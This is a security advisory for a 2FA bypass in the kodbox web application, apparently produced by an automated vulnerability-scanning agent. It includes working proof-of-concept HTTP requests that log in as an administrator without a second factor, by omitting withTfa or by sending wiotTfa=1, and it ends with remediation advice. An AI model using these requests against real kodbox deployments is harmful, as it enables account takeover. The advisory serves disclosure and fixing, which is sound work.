【CVE-2026-4592】Pre-Auth 2FA Bypass via withTfa / wiotTfa Logic Leading to Password-Only Login

Vulnerability ID: VPLUS-2026-14342
Product: kodbox (https://github.com/kalcaddle/kodbox)
Severity: High
Vulnerability Type: V08 – Logic Vulnerability
Authentication: Pre-Auth (bypass occurs at login stage)
Confidence: 99%
Status: Confirmed
CVSS: 9.1
CVE:
Discovery Time: 2026-03-02 04:38:14

Affected Component / Endpoints

  • File: /workspace/source-code/plugins/client/controller/tfa/index.class.php

  • Functions: loginAfter, tfaVerify (around line 22)

  • Relevant endpoints:

    • Login: GET/POST /?user/index/loginSubmit

    • 2FA verify: GET /?plugin/client/tfa&action=tfaVerify

Technical Description / Root Cause

Two independent logic flaws in the 2FA flow allow full login with only username and password, even when 2FA is enabled (tfaOpen=1):

  1. withTfa client parameter controls whether 2FA is enforced (Variant A):

    • After password authentication, the plugin’s loginAfter() decides whether to go into 2FA challenge mode based on a client-supplied parameter withTfa.

    • Behavior:

      • If withTfa=0 is explicitly provided, loginAfter() returns a 2FA challenge payload (tfaOpen, tfaType, etc.) and does not issue an access token.

      • If withTfa is omitted, loginAfter() treats the login as completed and skips 2FA entirely, directly issuing a valid access token.

    • Result: even when tfaOpen=1, a client that simply does not send withTfa receives a full session (token) based only on username and password.

  2. wiotTfa bypasses 2FA verification in tfaVerify() (Variant B):

    • When a user is placed into 2FA pending status (e.g., by logging in with withTfa=0), they are expected to call tfaVerify() and provide the correct 2FA code.

    • However, tfaVerify() contains a special branch for wiotTfa=1 (again, fully controlled by the client).

    • If wiotTfa=1 is present, the code path skips any validation of the 2FA code and calls loginSuccessUpdate() directly, completing the login.

    • No OTP/TOTP/email/SMS code is required in this branch.

Both paths are pre-authentication logic issues and allow an attacker who knows only a valid username and password (or has guessed/stolen them) to log in successfully without providing any second factor, despite 2FA being enabled for that account.

Attack Vectors

Variant A – Omit withTfa to skip 2FA entirely

  1. Admin enables 2FA globally:

    • Log in as admin and set:

      <JSON>
       
      {"tfaOpen":"1","tfaType":"email,phone"}

      via:

      <HTTP>
       
      POST /?admin/setting/set&accessToken=<admin_token>
      data={"tfaOpen":"1","tfaType":"email,phone"}
  2. Attacker logs in using only username and password, without withTfa:

    <HTTP>
     
    GET /?user/index/loginSubmit
        &name=admin
        &password=Admin@2024!
    • Response (simplified):

      <JSON>
       
      {
        "code": true,
        "data": "ok",
        "info": "<accessToken>"
      }
    • The presence of a non-empty info token (token_len=82) shows that a full session has been issued; 2FA was not enforced.

  3. Validate session:

    <HTTP>
     
    GET /?user/view/options&accessToken=<accessToken>

    Response confirms administrator identity:

    <TEXT>
     
    userID=1
    isRoot=1
    name=admin
  4. For comparison, if the client explicitly sends withTfa=0:

    <HTTP>
     
    GET /?user/index/loginSubmit
        &name=admin
        &password=Admin@2024!
        &withTfa=0

    The response only contains 2FA challenge data:

    <JSON>
     
    {
      "code": true,
      "data": {
        "userID": 1,
        "tfaOpen": 1,
        "tfaType": "phone,email",
        "type": "email",
        "input": "adm***example.com"
      },
      "info": ""
    }

    info is empty (challenge_token_len=0), meaning no session is created until 2FA is completed. This demonstrates that 2FA enforcement depends entirely on the client’s withTfa parameter, which is insecure.

Variant B – Use wiotTfa=1 to bypass code verification

  1. Enable 2FA as above.

  2. Trigger pending 2FA state with withTfa=0:

    <HTTP>
     
    GET /?user/index/loginSubmit
        &name=admin
        &password=Admin@2024!
        &withTfa=0

    Response indicates 2FA is required:

    <JSON>
     
    {
      "code": true,
      "data": {
        "userID": 1,
        "tfaOpen": 1,
        "tfaType": "phone,email",
        "type": "email",
        "input": "adm***example.com"
      }
    }
  3. Bypass verification by calling tfaVerify with wiotTfa=1, without providing any 2FA code:

    <HTTP>
     
    GET /?plugin/client/tfa
        &action=tfaVerify
        &wiotTfa=1
        &userID=1
        &tfaIn={"name":"admin","password":"Admin@2024!"}

    Response:

    <JSON>
     
    {
      "code": true,
      "data": "登录成功!"
    }

    This shows tfaVerify() completed login without verifying any OTP.

  4. Confirm the session:

    <HTTP>
     
    GET /?user/view/options

    Response:

    <TEXT>
     
    userID=1
    isRoot=1
    name=admin

    again confirming administrator login with no second-factor code.

Impact

  • Complete 2FA bypass for accounts with 2FA enabled:

    • Any attacker with valid username and password can log in exactly as if 2FA were disabled, by either omitting withTfa or using wiotTfa=1.

  • Pre-authentication impact:

    • The bypass occurs in the login flow before a session is established; it directly undermines the primary purpose of 2FA (mitigating stolen/guessed passwords).

  • Privilege escalation and account takeover:

    • Admin accounts (e.g., userID=1, isRoot=1) can be fully compromised using only credentials, even where 2FA is intended as a mandatory protection.

  • Defense degradation:

    • Organizations relying on 2FA to protect high-value accounts gain no effective protection; attackers can ignore the second factor.

Duplicate Check

A duplicate search via:

GET /api/v1/agent/report/vulns?exclude_vuln_id=VPLUS-2026-14342

and cross-check on title/attack vector/file path found no existing vulnerabilities targeting plugins/client/controller/tfa/index.class.php::loginAfter or involving the withTfa / wiotTfa parameters.

The agent reproduced the PoC on http://192.168.200.57:80, confirming:

  • With tfaOpen=1, a login without withTfa returns code=true and a valid token (token_len=82) and allows reading userID=1, isRoot=1, name=admin.

  • With withTfa=0, only challenge info is returned and no token is issued.

This confirms a stable, pre-auth 2FA bypass and that the issue is not a duplicate.

Remediation Recommendations

  1. Enforce 2FA entirely server-side when tfaOpen=1:

    • When 2FA is enabled for a user, the server must always require a second factor after successful password verification.

    • The client-supplied withTfa parameter must not control whether 2FA is enforced.

  2. Remove or strictly control the wiotTfa bypass:

    • Eliminate the wiotTfa-based shortcut, or restrict it to a trusted internal context that is not exposed to end users.

    • Any successful tfaVerify path must be contingent on server-side verification of a valid 2FA code (OTP/TOTP/email/SMS).

  3. Introduce a secure, one-time challenge flow:

    • After password validation:

      • Generate a short-lived challenge ID tied to:

        • User ID,

        • Username,

        • Session/Client ID,

        • IP (optional),

        • Expiration time.

      • Only issue a full session/token after a valid OTP is verified against that challenge.

    • Ensure the challenge cannot be reused and that codes are one-time and strictly time-bounded.

  4. Strengthen tests and code clarity:

    • Add regression tests covering both:

      • Logins without withTfa when 2FA is enabled.

      • tfaVerify calls with and without valid codes, including attempts to use wiotTfa.

    • Make 2FA enforcement rules explicit in the code (e.g., central “mustEnforceTfa(user)” check) to avoid future bypasses via auxiliary parameters.